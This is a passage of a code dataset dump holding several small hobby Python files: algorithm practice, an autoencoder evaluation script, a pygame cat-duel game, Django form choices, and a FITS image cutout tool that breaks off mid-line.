rec:\n r -= 1\n if r > 0:\n heapq.heappush(ts, r)\n\n t += n + 1 if ts else len(rec)\n return t\n\n\nprint(leastInterval([\"A\", \"A\", \"A\", \"A\", \"A\",\n \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\"], 2))\n","repo_name":"gabo1208/python","sub_path":"interview_practice/task_scheduler.py","file_name":"task_scheduler.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13097573545","text":"def hanoi(n, origin, station, target):\n if n == 0:\n return []\n result = hanoi(n-1, origin, target, station) + [(origin, target)]\n result += hanoi(n-1, station, origin, target)\n return result\n\n\nsolution = hanoi(int(input()), 1, 2, 3)\n\nprint(len(solution))\nfor a, b in solution:\n print(f'{a} {b}')\n","repo_name":"grasshopperTrainer/coding_practice","sub_path":"baekjoon/accepted/DP 다이나믹 프로그래밍/11729 하노 탑 이동 순서.py","file_name":"11729 하노 탑 이동 순서.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"3573537080","text":"import os\nimport time\nfrom math import sqrt\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nimport torchvision\nimport torch.optim as optim\nfrom torch.utils import data\nfrom functools import partial, lru_cache\nimport numpy as np\nfrom torchvision.utils import save_image\nfrom tqdm import tqdm\nfrom torchvision import transforms\nimport skimage.io as io\nimport matplotlib.pyplot as plt\n\nfrom pytorch_msssim import ssim\n\nfrom AE import AE\n\n\n\n\nif not os.path.exists(\"./reconstructed/AE\"):\n os.makedirs(\"./reconstructed/AE\")\n\nNUM_EPOCHS = 100\nBATCH_SIZE = 128\nDIMENSIONS = 128\n\nprint(\"cuda\" if torch.cuda.is_available() else \"cpu\")\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nmodel = AE(input_shape=DIMENSIONS)\nmodel.load_state_dict(torch.load('./params/AE/params8.pt'))\nmodel = model.to(device)\nmodel.eval()\ncount = 0\n\ncriterion = nn.MSELoss()\n\ntransform = torchvision.transforms.Compose([\n transforms.Resize((128, 128)),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n])\ntest_set = torchvision.datasets.ImageFolder(\n root=\"./res/frames/test\",\n transform=transform\n)\ntest_loader = data.DataLoader(\n test_set, batch_size=BATCH_SIZE, shuffle=True, num_workers=4, pin_memory=True)\n\nprint(\"Number of batches {num_batches}\".format(num_batches=len(test_loader)))\n\ncur_epoch = 0\nstart = time.time()\niteration = 0\nwith torch.no_grad():\n\n for epoch in range(NUM_EPOCHS):\n\n for batch_features in test_loader:\n\n batch_features = batch_features[0].to(device)\n outputs = model(batch_features)\n test_loss = criterion(outputs[0], batch_features)\n\n # SSIM\n ssim_score = ssim(batch_features.view((-1, 3, 128, 128)), outputs.view((-1, 3, 128, 128)))\n\n # PSNR\n mse = torch.mean((batch_features.view((-1, 3, 128, 128)\n ) - outputs.view((-1, 3, 128, 128))) ** 2)\n psnr = 20 * torch.log10(255.0 / torch.sqrt(mse))\n\n print(\"Loss, \", test_loss)\n print(\"ssim \", ssim_score)\n print(\"psnr \", psnr)\n torchvision.utils.save_image(batch_features, \"./reconstructed/AE/batch\" + str(iteration) + \".jpg\")\n torchvision.utils.save_image(outputs, \"./reconstructed/AE/output\" + str(iteration) + \".jpg\")\n import pdb; pdb.set_trace()\n\n iteration += 1\n\n\n cur_epoch += 1\n print(\"Epoch:{cur_epoch}\".format(cur_epoch=cur_epoch))","repo_name":"mikephayashi/streaming-super-resolution","sub_path":"old/AE_disp.py","file_name":"AE_disp.py","file_ext":"py","file_size_in_byte":2517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"27725226131","text":"import pygame\nimport os\npygame.font.init()\npygame.mixer.init()\n\n\"\"\" git init\ngit add README.md\ngit commit -m \"first commit\"\ngit branch -M main\ngit remote add origin https://github.com/larrysxxleslie/juego-gatunos.git\ngit push -u origin main \"\"\"\n\nWIDTH, HEIGHT = 900, 500\nWIN = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"Primer juego chavales\")\n\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nYELLOW = (255, 255, 0)\n\nBORDER = pygame.Rect(WIDTH//2 - 5, 0, 3, HEIGHT)\n\nHAIR_BALL_HIT_SOUND = pygame.mixer.Sound('Assets/hit_sound.mp3')\nHAIR_BALL_SHOOT_SOUND = pygame.mixer.Sound('Assets/hair_ball_sound.mp3')\n\nHEALTH_FONT = pygame.font.SysFont('comicsans', 40)\nWINNER_FONT = pygame.font.SysFont('comicsans', 50)\n\nFPS = 60\nVEL = 5\nHAIR_BALL_VEL = 7\nMAX_HAIR_BALL = 5\nGATO_WIDTH, GATO_HEIGHT = 110, 80\nMAX_SCORE = 0\n\nLARRY_HIT = pygame.USEREVENT + 1\nBURRITA_HIT = pygame.USEREVENT + 2\n\nGATO_LARRY_IMAGE = pygame.image.load(\n os.path.join('Assets', 'larry.png'))\nGATO_LARRY = pygame.transform.scale(\n GATO_LARRY_IMAGE, (GATO_WIDTH, GATO_HEIGHT))\n\nGATO_BURRITA_IMAGE = pygame.image.load(\n os.path.join('Assets', 'burrita.png'))\n\nGATO_BURRITA = pygame.transform.scale(\n GATO_BURRITA_IMAGE, (GATO_WIDTH, GATO_HEIGHT))\n\nPATIO = pygame.transform.scale(pygame.image.load(\n os.path.join('Assets', 'patio.jpg')), (WIDTH, HEIGHT))\n\n\ndef draw_window(burrita, larry, burrita_hair_balls, larry_hair_balls, burrita_health, larry_health):\n WIN.blit(PATIO, (0, 0))\n pygame.draw.rect(WIN, BLACK, BORDER)\n\n burrita_health_text = HEALTH_FONT.render(\n \"Vida: \" + str(burrita_health), 1, BLACK)\n larry_health_text = HEALTH_FONT.render(\n \"Vida: \" + str(larry_health), 1, BLACK)\n max_score_text = HEALTH_FONT.render(\n \"Max score: \" + str(MAX_SCORE), 1, BLACK)\n WIN.blit(burrita_health_text, (WIDTH - burrita_health_text.get_width() - 10, 10))\n WIN.blit(larry_health_text, (10, 10))\n WIN.blit(max_score_text, (WIDTH/2- (max_score_text.get_width()/2), 10))\n\n WIN.blit(GATO_LARRY, (larry.x, larry.y))\n WIN.blit(GATO_BURRITA, (burrita.x, burrita.y))\n\n for hair_ball in burrita_hair_balls:\n pygame.draw.rect(WIN, RED, hair_ball)\n\n for hair_ball in larry_hair_balls:\n pygame.draw.rect(WIN, YELLOW, hair_ball)\n\n pygame.display.update()\n\n\"\"\" Esta funcion controla el movimiento de la nave amarrilla \"\"\"\ndef larry_handle_movement(keys_pressed, larry):\n if keys_pressed[pygame.K_a] and larry.x - VEL > 0: # LEFT\n larry.x -= VEL\n if keys_pressed[pygame.K_d] and larry.x + VEL + larry.width < BORDER.x: # RIGHT\n larry.x += VEL\n if keys_pressed[pygame.K_w] and larry.y - VEL > 0: # UP\n larry.y -= VEL\n if keys_pressed[pygame.K_s] and larry.y + VEL + larry.height < HEIGHT - 15: # DOWN\n larry.y += VEL\n\n\ndef burrita_handle_movement(keys_pressed, burrita):\n if keys_pressed[pygame.K_LEFT] and burrita.x - VEL > BORDER.x + BORDER.width: # LEFT\n burrita.x -= VEL\n if keys_pressed[pygame.K_RIGHT] and burrita.x + VEL + burrita.width < WIDTH: # RIGHT\n burrita.x += VEL\n if keys_pressed[pygame.K_UP] and burrita.y - VEL > 0: # UP\n burrita.y -= VEL\n if keys_pressed[pygame.K_DOWN] and burrita.y + VEL + burrita.height < HEIGHT - 15: # DOWN\n burrita.y += VEL\n\n\ndef handle_hair_ball(larry_hair_balls, burrita_hair_balls, larry, burrita):\n for hair_ball in larry_hair_balls:\n hair_ball.x += HAIR_BALL_VEL\n if burrita.colliderect(hair_ball):\n pygame.event.post(pygame.event.Event(BURRITA_HIT))\n larry_hair_balls.remove(hair_ball)\n elif hair_ball.x > WIDTH:\n larry_hair_balls.remove(hair_ball)\n\n for hair_ball in burrita_hair_balls:\n hair_ball.x -= HAIR_BALL_VEL\n if larry.colliderect(hair_ball):\n pygame.event.post(pygame.event.Event(LARRY_HIT))\n burrita_hair_balls.remove(hair_ball)\n elif hair_ball.x < 0:\n burrita_hair_balls.remove(hair_ball)\n\n\ndef draw_winner(text):\n draw_text = WINNER_FONT.render(text, 1, BLACK)\n WIN.blit(draw_text, (WIDTH/2 - draw_text.get_width() /\n 2, HEIGHT/2 - draw_text.get_height()/2))\n pygame.display.update()\n pygame.time.delay(5000)\n\n\ndef main():\n global MAX_SCORE\n burrita = pygame.Rect(700, 300, GATO_WIDTH, GATO_HEIGHT)\n larry = pygame.Rect(100, 300, GATO_WIDTH, GATO_HEIGHT)\n\n burrita_hair_balls = []\n larry_hair_balls = []\n\n burrita_health = 10\n larry_health = 10\n\n clock = pygame.time.Clock()\n run = True\n\n while run:\n clock.tick(FPS)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n run = False\n pygame.quit()\n\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LCTRL and len(larry_hair_balls) < MAX_HAIR_BALL:\n hair_ball = pygame.Rect(\n larry.x + larry.width, larry.y + larry.height//2 - 2, 10, 5)\n larry_hair_balls.append(hair_ball)\n HAIR_BALL_SHOOT_SOUND.play()\n\n if event.key == pygame.K_RCTRL and len(burrita_hair_balls) < MAX_HAIR_BALL:\n hair_ball = pygame.Rect(\n burrita.x, burrita.y + burrita.height//2 - 2, 10, 5)\n burrita_hair_balls.append(hair_ball)\n HAIR_BALL_SHOOT_SOUND.play()\n\n if event.type == BURRITA_HIT:\n burrita_health -= 1\n HAIR_BALL_HIT_SOUND.play()\n\n if event.type == LARRY_HIT:\n larry_health -= 1\n HAIR_BALL_HIT_SOUND.play()\n\n winner_text = \"\"\n if burrita_health <= 0:\n winner_text = \"Larry Gana.Puntuación\" + str(larry_health)\n if larry_health > MAX_SCORE:\n MAX_SCORE = larry_health\n\n if larry_health <= 0:\n winner_text = \"Burrita Gana. Puntuación:\"+ str(burrita_health)\n if burrita_health > MAX_SCORE:\n MAX_SCORE = burrita_health\n\n if winner_text != \"\":\n draw_winner(winner_text)\n break\n\n keys_pressed = pygame.key.get_pressed()\n larry_handle_movement(keys_pressed, larry)\n burrita_handle_movement(keys_pressed, burrita)\n\n handle_hair_ball(larry_hair_balls, burrita_hair_balls, larry, burrita)\n\n draw_window(burrita, larry, burrita_hair_balls, larry_hair_balls,\n burrita_health, larry_health)\n\n main()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"larrysxxleslie/juego-gatunos","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8603325976","text":"# Personal Details\nEXP_INTERN_CHOICES=(('YES',\"YES\"),(\"NO\",\"NO\"))\nGENDER_CHOICES=((\"MALE\",\"MALE\"),(\"FEMALE\",\"FEMALE\"),(\"OTHERS\",\"OTHERS\"))\n# ActivityAchievementDetails\nACTIVITY_ACHIEVEMENTS=((\"ACTIVITY\",\"ACTIVITY\"),(\"ACHIEVEMENT\",\"ACHIEVEMENT\"))\n# Training Details\nTRAINING_CHOICES=(('ONLINE','ONLINE'),('OFFLINE',\"OFFLINE\"))\n# Experience Details\nEXPERIENCE_CHOICES=(('WORK FROM HOME','WORK FROM HOME'),('PART TIME','PART TIME'),('FULL TIME','FULL TIME'))\n# Internship Details\nINTERNSHIP_CHOICES=((\"OFFLINE\",'OFFLINE'),('PART TIME',\"PART TIME\"),(\"ONLINE\",\"ONLINE\"))\n# Experience Choices\nEXPERIENCE_CHOICES=((\"YES\",\"YES\"),(\"NO\",\"NO\"))\n# Internship Choices\nINTERNSHIP_CHOICES=((\"YES\",\"YES\"),(\"NO\",\"NO\"))\n# Certification Details\nTRAINING_CHOICES=(('ONLINE','ONLINE'),('OFFLINE',\"OFFLINE\"))\n# EDUCATION TYPE\nEDUCATION_CHOICES=(('SCHOOL','SCHOOL'),(\"HIGH SCHOOL\",\"HIGH SCHOOL\"),('UNIVERSITY',\"UNIVERSITY\"),(\"HIGHER STUDIES\",\"HIGHER STUDIES\"))\n\n","repo_name":"USUDR2604/Django-ResumeBuilder","sub_path":"resumes/Choices.py","file_name":"Choices.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"44684088942","text":"#!/usr/bin/env python\n# \n# 2021-03-31 copied from \"trim_field_of_view_for_a_cube.py\", made it more general for FITS image 2D 3D 4D\n# 2021-07-10 added ext_id ext_name\n# \nfrom __future__ import print_function\nimport os, sys, re, shutil, glob, copy, datetime, time\nimport numpy as np\nimport astropy.units as u\nfrom astropy.coordinates import SkyCoord, FK5\nfrom astropy.io import fits\n#from astropy.convolution import Gaussian2DKernel, convolve\nfrom astropy.wcs import WCS\nfrom astropy.wcs.utils import proj_plane_pixel_scales\n#from spectral_cube import SpectralCube, VaryingResolutionSpectralCube\n#from radio_beam import Beam\n#from reproject import reproject_interp\n#import scipy.stats\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\ndef usage():\n print('Usage: ')\n print(' make_a_cutout_image_by_center_RA_Dec_FoV.py \\\\')\n print(' INPUT_FITS_IMAGE.fits \\\\')\n print(' OUTPUT_FITS_IMAGE.fits \\\\')\n print(' -fov \"2arcsec\" \\\\')\n print(' [-center RA Dec] \\\\')\n print(' [-template INPUT_TEMPLATE_IMAGE.fits] \\\\')\n print(' [-ext extension_number] \\\\')\n print(' [-extname extension_name] \\\\')\n print(' [-set-output-bitpix-32] \\\\')\n print(' [-set-output-naxis-2] ')\n print('Notes: ')\n print(' ')\n print('')\n\n\n\ndef parse_fov_str(fov_str):\n fov_arcsec = np.nan\n if re.match(r'^([0-9eE.+-]+)[ \\t]*$', fov_str, re.IGNORECASE):\n fov_arcsec = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*$', r'\\1', fov_str, re.IGNORECASE))\n elif re.match(r'^([0-9eE.+-]+)[ \\t]*arcsec$', fov_str, re.IGNORECASE):\n fov_arcsec = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*arcsec$', r'\\1', fov_str, re.IGNORECASE))\n elif re.match(r'^([0-9eE.+-]+)[ \\t]*arcmin$', fov_str, re.IGNORECASE):\n fov_arcsec = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*arcmin$', r'\\1', fov_str, re.IGNORECASE)) * 60.\n elif re.match(r'^([0-9eE.+-]+)[ \\t]*(deg|degree)$', fov_str, re.IGNORECASE):\n fov_arcsec = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*(deg|degree)', r'\\1', fov_str, re.IGNORECASE)) * 3600.\n return fov_arcsec\n\n\n\ndef parse_angle_str(angle_str, default_unit='degree', output_unit='arcsec'):\n angle_arcsec = np.nan\n angle_value = np.nan\n angle_unit = ''\n if re.match(r'^([0-9eE.+-]+)[ \\t]*$', angle_str, re.IGNORECASE):\n angle_value = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*$', r'\\1', angle_str, re.IGNORECASE))\n angle_unit = default_unit\n elif re.match(r'^([0-9eE.+-]+)[ \\t]*arcsec$', angle_str, re.IGNORECASE):\n angle_value = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*arcsec$', r'\\1', angle_str, re.IGNORECASE))\n angle_unit = 'arcsec'\n elif re.match(r'^([0-9eE.+-]+)[ \\t]*arcmin$', angle_str, re.IGNORECASE):\n angle_value = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*arcmin$', r'\\1', angle_str, re.IGNORECASE))\n angle_unit = 'arcmin'\n elif re.match(r'^([0-9eE.+-]+)[ \\t]*(deg|degree)$', angle_str, re.IGNORECASE):\n angle_value = float(re.sub(r'^([0-9eE.+-]+)[ \\t]*(deg|degree)', r'\\1', angle_str, re.IGNORECASE))\n angle_unit = 'degree'\n else:\n raise Exception('Error! Could not parse the input angle_str=%r when calling parse_angle_str(). It should either be a float number or a float number with a unit \\'arcsec\\', \\'arcmin\\' or \\'degree\\'.'%(angle_str))\n # \n if angle_unit == 'arcsec':\n angle_arcsec = angle_value\n elif angle_unit == 'arcmin':\n angle_arcsec = angle_value * 60.\n elif angle_unit == 'deg' or angle_unit == 'degree':\n angle_arcsec = angle_value * 3600.\n else:\n raise Exception('Error! angle_unit in parse_angle_str() is not one of \\'arcsec\\', \\'arcmin\\' or \\'degree\\'. This should not happen.')\n # \n if output_unit == 'arcsec':\n return angle_arcsec\n elif output_unit == 'arcsec':\n return angle_arcsec/60.\n elif output_unit == 'deg' or output_unit == 'degree':\n return angle_arcsec/3600.\n else:\n raise Exception('Error! Wrong input output_unit=%r when calling parse_angle_str(). It must be either \\'arcsec\\', \\'arcmin\\' or \\'degree\\'.'%(output_unit))\n\n\n\ndef parse_skycoord(input_ra_str, input_dec_str, default_unit='deg', default_frame=FK5, return_skycoord_obj=False):\n # \n input_ra_str = str(input_ra_str).strip()\n input_dec_str = str(input_dec_str).strip()\n # \n output_RA_deg = np.nan\n output_Dec_deg = np.nan\n # \n regex_skycoord_numeric = re.compile(r'^[0-9.+-]+$')\n regex_skycoord_deg = re.compile(r'^[0-9.+-]+(deg|degree)$')\n # \n unit_ra = u.hour\n unit_dec = u.deg\n # \n if regex_skycoord_numeric.match(input_ra_str) and regex_skycoord_numeric.match(input_dec_str):\n input_ra_str += default_unit\n input_dec_str += default_unit\n unit_ra = u.deg\n elif regex_skycoord_deg.match(input_ra_str) and regex_skycoord_deg.match(input_dec_str):\n unit_ra = u.deg\n # \n skycoord_obj = SkyCoord(input_ra_str+' '+input_dec_str, unit=(unit_ra, unit_dec), frame=default_frame)\n # \n output_RA_deg = skycoord_obj.ra.deg\n output_Dec_deg = skycoord_obj.dec.deg\n # \n if return_skycoord_obj:\n return skycoord_obj\n # \n return output_RA_deg, output_Dec_deg\n\n\n\ndef trim_header_dimension(header, naxis, verbose=False):\n if header['NAXIS'] > naxis:\n old_naxis = header['NAXIS']\n if verbose:\n print('Trimming header from %d to %d dimensions'%(old_naxis, naxis))\n header['NAXIS'] = naxis\n for i in range(naxis+1, old_naxis+1):\n for key in ['NAXIS', 'CDELT', 'CRVAL', 'CRPIX', 'CUNIT', 'CTYPE', 'CROTA']:\n key2 = key+'%d'%(i)\n if key2 in header:\n if verbose:\n print('del header[%r]'%(key2))\n del header[key2]\n for key in ['CD', 'PC']:\n for j in range(1, old_naxis+1):\n key2 = key+'%d_%d'%(i, j)\n if key2 in header:\n if verbose:\n print('del header[%r]'%(key2))\n del header[key2]\n key2 = key+'%d_%d'%(j, i)\n if key2 in header:\n if verbose:\n print('del header[%r]'%(key2))\n del header[key2]\n return header\n\n\n\ndef trim_data_dimension(data, header, naxis, verbose=False, warning=True):\n if verbose:\n print('Trimming data from %d to %d dimensions'%(len(data.shape), naxis))\n old_data_shape = data.shape\n for i in range(naxis, len(old_data_shape)+1):\n if warning and old_data_shape[i-1] > 1:\n print('Warning! The %d-%d-th data along the original %d-th dimension will be lost!'%(2, old_data_shape[i-1]+1, i))\n data = data[0]\n header = trim_header_dimension(header, naxis, verbose=verbose)\n return data, header\n\n\n\ndef read_fits_data(input_file, naxis=None, ext_id=None, ext_name=None):\n \"\"\"Read a fits data from a fits file.\n If the input fits file has more than three dimension, then we will \n trim higher dimensions.\n \"\"\"\n if ext_id is not None:\n print('Reading \"%s\" ext_id %d'%(input_file, ext_id))\n data, header = fits.getdata(input_file, ext_id, header=True)\n elif ext_name is not None:\n print('Reading \"%s\" ext_name \"%s\"'%(input_file, ext_name))\n data, header = fits.getdata(input_file, extname=ext_name, header=True)\n else:\n print('Reading \"%s\"'%(input_file))\n data, header = fits.getdata(input_file, header=True)\n if naxis is not None:\n if header['NAXIS'] > naxis:\n print('Trimming to %d dimensions'%(naxis))\n old_naxis = header['NAXIS']\n header['NAXIS'] = naxis\n for i in range(naxis+1, old_naxis+1):\n for key in ['NAXIS', 'CDELT', 'CRVAL', 'CRPIX', 'CUNIT', 'CTYPE']:\n key2 = key+'%d'%(i)\n if key2 in header:\n del header[key2]\n for key in ['CD', 'PC', 'PV']:\n for j in range(1, old_naxis+1):\n key2 = key+'%d_%d'%(i, j)\n if key2 in header:\n del header[key2]\n key2 = key+'%d_%d'%(j, i)\n if key2 in header:\n del header[key2]\n data = data[0]\n return data, header\n\n\n\ndef write_fits_data_to_file(data, header, output_file, set_output_bitpix_32=False):\n #print('Writing to \"%s\"'%(output_file))\n # \n if set_output_bitpix_32:\n header['BITPIX'] = -32\n data = data.astype(np.float32)\n # \n hdu = fits.PrimaryHDU(data=data, header=header)\n # \n if output_file.find(os.sep)>=0:\n if not os.path.isdir(os.path.dirname(output_file)):\n os.makedirs(os.path.dirname(output_file))\n if os.path.isfile(output_file):\n shutil.move(output_file, output_file+'.backup')\n hdu.writeto(output_file)\n print('Output to \"%s\"'%(output_file))\n\n\n\n\n# \n# main\n# \nif __name__ == '__main__':\n \n # Read user inputs\n input_file = ''\n output_file = ''\n template_file = ''\n debug = False\n new_center = None\n new_fov = []\n ext_id = None\n ext_name = None\n set_output_bitpix_32 = False\n set_output_naxis_2 = False\n set_output_naxis_3 = False\n iarg = 1\n while iarg <= len(sys.argv)-1:\n arg_str = sys.argv[iarg].lower()\n arg_str = re.sub(r'^[-]+', '-', arg_str)\n if arg_str == '-debug':\n debug = True\n elif arg_str == '-set-output-bitpix-32':\n set_output_bitpix_32 = True\n print('Setting set_output_bitpix_32 = %s'%(set_output_bitpix_32))\n elif arg_str == '-set-output-naxis-2':\n set_output_naxis_2 = True\n print('Setting set_output_naxis_2 = %s'%(set_output_naxis_2))\n elif arg_str == '-set-output-naxis-3':\n set_output_naxis_3 = True\n print('Setting set_output_naxis_3 = %s'%(set_output_naxis_3))\n elif arg_str == '-center' or arg_str == '-cen':\n if iarg+2 <= len(sys.argv)-1:\n iarg += 1\n input_RA_str = sys.argv[iarg]\n iarg += 1\n input_Dec_str = sys.argv[iarg]\n new_center = parse_skycoord(input_RA_str, input_Dec_str, return_skycoord_obj=True)\n print('Setting new_center = %s'%(new_center))\n elif arg_str == '-fov':\n if iarg+1 <= len(sys.argv)-1 and re.match(r'^([0-9eE.+-]+)[ \\t]*(arcsec|arcmin|deg|degree|)$', sys.argv[iarg+1]):\n iarg += 1\n new_fov = [parse_fov_str(sys.argv[iarg])]\n if iarg+1 <= len(sys.argv)-1 and re.match(r'^([0-9eE.+-]+)[ \\t]*(arcsec|arcmin|deg|degree|)$', sys.argv[iarg+1]):\n iarg += 1\n new_fov.append(parse_fov_str(sys.argv[iarg]))\n else:\n new_fov.append(new_fov[0])\n print('Setting new_fov = %s [arcsec]'%(new_fov))\n elif arg_str == '-template':\n if iarg+1 <= len(sys.argv)-1 and re.match(r'^.*\\.fits(|\\.gz)$', sys.argv[iarg+1], re.IGNORECASE):\n iarg += 1\n template_file = sys.argv[iarg]\n print('Setting template_file = \"%s\"'%(template_file))\n elif arg_str == '-ext':\n if iarg+1 <= len(sys.argv)-1 and re.match(r'^([0-9]+)$', sys.argv[iarg+1]):\n iarg += 1\n ext_id = int(sys.argv[iarg])\n print('Setting ext_id = %d'%(ext_id))\n elif arg_str == '-extname':\n if iarg+1 <= len(sys.argv)-1:\n iarg += 1\n ext_name = str(sys.argv[iarg])\n print('Setting ext_name = %s'%(ext_name))\n else:\n if input_file == '':\n input_file = sys.argv[iarg]\n print('Setting input_file = \"%s\"'%(input_file))\n elif output_file == '':\n output_file = sys.argv[iarg]\n print('Setting output_file = \"%s\"'%(output_file))\n else:\n pass\n # \n iarg += 1\n\n\n # Check user input and print usage if necessary\n if input_file == '' or \\\n output_file == '' or \\\n (len(new_fov) <= 0 and template_file == ''):\n usage()\n sys.exit()\n \n \n # Read template file if given\n if template_file != '':\n template_data, template_header = read_fits_data(template_file)\n template_wcs2D = WCS(template_header, naxis=2)\n template_pixsc = np.abs(proj_plane_pixel_scales(template_wcs2D)*3600.0)\n template_naxis1 = template_header['NAXIS1']\n template_naxis2 = template_header['NAXIS2']\n new_center_ra, new_center_dec = template_wcs2D.wcs_pix2world([(template_naxis1+1.0)/2.0], [(template_naxis2+1.0)/2.0], 1)\n if not np.isscalar(new_center_ra): new_center_ra = new_center_ra[0]\n if not np.isscalar(new_center_dec): new_center_dec = new_center_dec[0]\n new_center = parse_skycoord(str(new_center_ra)+'deg', str(new_center_dec)+'deg', return_skycoord_obj=True)\n new_fov = [template_naxis1*template_pixsc[0], template_naxis2*template_pixsc[1]]\n print('new_center', new_center)\n print('new_fov', new_fov)\n \n \n # Read fits file\n data, header = read_fits_data(input_file, ext_id=ext_id, ext_name=ext_name)\n wcs2D = WCS(header, naxis=2)\n pixsc = np.abs(proj_plane_pixel_scales(wcs2D)*3600.0)\n print('pixsc', pixsc, '[arcsec]')\n\n\n # compute new naxis\n new_naxis1 = int(np.ceil(new_fov[0] / pixsc[0]))\n new_naxis2 = int(np.ceil(new_fov[1] / pixsc[1]))\n print('new_naxis1', new_naxis1, 'new_naxis2', new_naxis2)\n paste_rect_x0 = 0\n paste_rect_x1 = new_naxis1-1\n paste_rect_y0 = 0\n paste_rect_y1 = new_naxis2-1\n cut_rect_x0 = 0\n cut_rect_x1 = header['NAXIS1']-1\n cut_rect_y0 = 0\n cut_rect_y1 = header['NAXIS2']-1\n if new_center is not None:\n new_center_x, new_center_y = wcs2D.wcs_world2pix([new_center.ra.deg], [new_center.dec.deg], 0) # origin=0\n if not np.isscalar(new_center_x): new_center_x = new_center_x[0]\n if not np.isscalar(new_center_y): new_center_y = new_center_y[0]\n else:\n new_center_x = (header['NAXIS1']-1) / 2.0\n new_center_y = (header['NAXIS2']-1) / 2.0\n print('new_center_x', new_center_x, 'new_center_y', new_center_y)\n\n cut_rect_x0 = int(np.ceil(new_center_x - new_naxis1 / 2.0))\n cut_rect_x1 = cut_rect_x0 + new_naxis1 - 1\n cut_rect_y0 = int(np.ceil(new_center_y - new_naxis2 / 2.0))\n cut_rect_y1 = cut_rect_y0 + new_naxis2 - 1\n print('cut_rect_x0, cut_rect_x1, cut_rect_y0, cut_rect_y1 =', cut_rect_x0, cut_rect_x1, cut_rect_y0, cut_rect_y1)\n print('paste_rect_x0, paste_rect_x1, paste_rect_y0, paste_rect_y1 =', paste_rect_x0, paste_rect_x1, paste_rect_y0, paste_rect_y1)\n if cut_rect_x0 < 0:\n paste_rect_x0 = -cut_rect_x0\n cut_rect_x0 = 0\n if cut_rect_x1 > header['NAXIS1']-1:\n paste_rect_x1 = (new_naxis1-1)-(cut_rect_x1-(header['NAXIS1']-1))\n cut_rect_x1 = header['NAXIS1']-1\n if cut_rect_y0 < 0:\n paste_rect_y0 = -cut_rect_y0\n cut_rect_y0 = 0\n if cut_rect_y1 > header['NAXIS2']-1:\n paste_rect_y1 = (new_naxis2-1)-(cut_rect_y1-(header['NAXIS2']-1))\n cut_rect_y1 = header['NAXIS2']-1\n print('cut_rect_x0, cut_rect_x1, cut_rect_y0, cut_rect_y1 =', cut_rect_x0, cut_rect_x1, cut_rect_y0, cut_rect_y1)\n print('paste_rect_x0, paste_rect_x1, paste_rect_y0, paste_rect_y1 =', paste_rect_x0, paste_rect_x1, paste_rect_y0, paste_rect_y1)\n \n \n # prepare output data\n new_data_shape = copy.copy(list(data.shape))\n new_data_shape[-1] = new_naxis1\n new_data_shape[-2] = new_naxis2\n new_data = np.full(new_data_shape, fill_value=np.nan)\n\n\n # trim fov pixels\n #if len(data.shape) == 3:\n # new_data = np.full((data.shape[0], new_naxis2, new_naxis1), fill_value=np.nan)\n # print('new_data[:, %d:%d, %d:%d] = data[:, %d:%d, %d:%d]'%(paste_rect_y0, paste_rect_y1+1, paste_rect_x0, paste_rect_x1+1, cut_rect_y0, cut_rect_y1+1, cut_rect_x0, cut_rect_x1+1))\n # new_data[:, paste_rect_y0:paste_rect_y1+1, paste_rect_x0:paste_rect_x1+1] = data[:, cut_rect_y0:cut_rect_y1+1, cut_rect_x0:cut_rect_x1+1]\n #else:\n # new_data = np.full((new_naxis2, new_naxis1), fill_value=np.nan)\n # print('new_data[%d:%d, %d:%d] = data[%d:%d, %d:%d]'%(paste_rect_y0, paste_rect_y1+1, paste_rect_x0, paste_rect_x1+1, cut_rect_y0, cut_rect_y1+1, cut_rect_x0, cut_rect_x1+1))\n # new_data[paste_rect_y0:paste_rect_y1+1, paste_rect_x0:paste_rect_x1+1] = data[cut_rect_y0:cut_rect_y1+1, cut_rect_x0:cut_rect_x1+1]\n for ndidx in np.ndindex(data.shape[0:-2]):\n new_data[ndidx][paste_rect_y0:paste_rect_y1+1, paste_rect_x0:paste_rect_x1+1] = data[ndidx][cut_rect_y0:cut_rect_y1+1, cut_rect_x0:cut_rect_x1+1]\n\n\n\n # Output\n new_header = copy.deepcopy(header)\n new_header['NAXIS1'] = new_naxis1\n new_header['CRPIX1'] = header['CRPIX1']-cut_rect_x0+paste_rect_x0\n new_header['NAXIS2'] = new_naxis2\n new_header['CRPIX2'] = header['CRPIX2']-cut_rect_y0+paste_rect_y0\n new_header['HISTORY'] = ''\n new_header['HISTORY'] = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\") + ' ' + time.strftime('%Z')\n history_str = 'Cutout with field of view %s x %s [arcsec] '%(new_fov[0], new_fov[1])\n if new_center is not None:\n history_str += 'at the new center RA Dec %s %s '%(new_center.ra.deg, new_center.dec.deg )\n if ext_id is not None:\n history_str += 'from the extension id %d of the input FITS file \"%s\".'%(ext_id, input_file)\n elif ext_name is not None:\n if 'EXTNAME' in 